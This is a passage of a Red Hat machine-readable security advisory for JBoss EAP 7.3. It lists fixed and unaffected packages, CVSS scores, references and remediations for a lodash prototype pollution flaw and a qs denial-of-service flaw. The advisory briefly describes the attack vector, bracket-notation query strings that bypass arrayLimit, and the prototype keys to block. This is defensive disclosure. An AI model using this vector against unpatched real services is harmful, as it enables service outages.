"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-13465"
},
{
"category": "external",
"summary": "RHBZ#2431740",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431740"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-13465",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13465"
},
{
"category": "external",
"summary": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
}
],
"release_date": "2026-01-21T19:05:28.846000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
"details": "To mitigate this issue, implement strict input validation before passing any property paths to the _.unset and _.omit functions to block attempts to access the prototype chain. Ensure that strings like __proto__, constructor and prototype are blocked, for example.",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"version": "3.1"
},
"products": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "lodash: prototype pollution in _.unset and _.omit functions"
},
{
"cve": "CVE-2025-15284",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2025-12-29T23:00:58.541337+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2425946"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "qs: qs: Denial of Service via improper input validation in array parsing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat products that utilize the `qs` module for parsing query strings, particularly when processing user-controlled input with bracket notation. The `arrayLimit` option, intended to prevent resource exhaustion, is bypassed when bracket notation (`a[]=value`) is used, allowing a remote attacker to cause a denial of service through memory exhaustion. This can lead to application crashes or unresponsiveness, making the service unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"known_not_affected": [
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-15284"
},
{
"category": "external",
"summary": "RHBZ#2425946",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2425946"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-15284",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15284"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"category": "external",
"summary": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
}
],
"release_date": "2025-12-29T22:56:45.240000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-30T00:13:50+00:00",
"details": "Before applying this update, ensure all previously released errata relevant to your system have been applied. Also, back up your existing installation, including all applications, configuration files, databases and database settings. For details on how to apply this update, refer to: https://access.redhat.com/articles/11258",
"product_ids": [
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"7Server-JBEAP-7.3-EUS:eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "workaround",
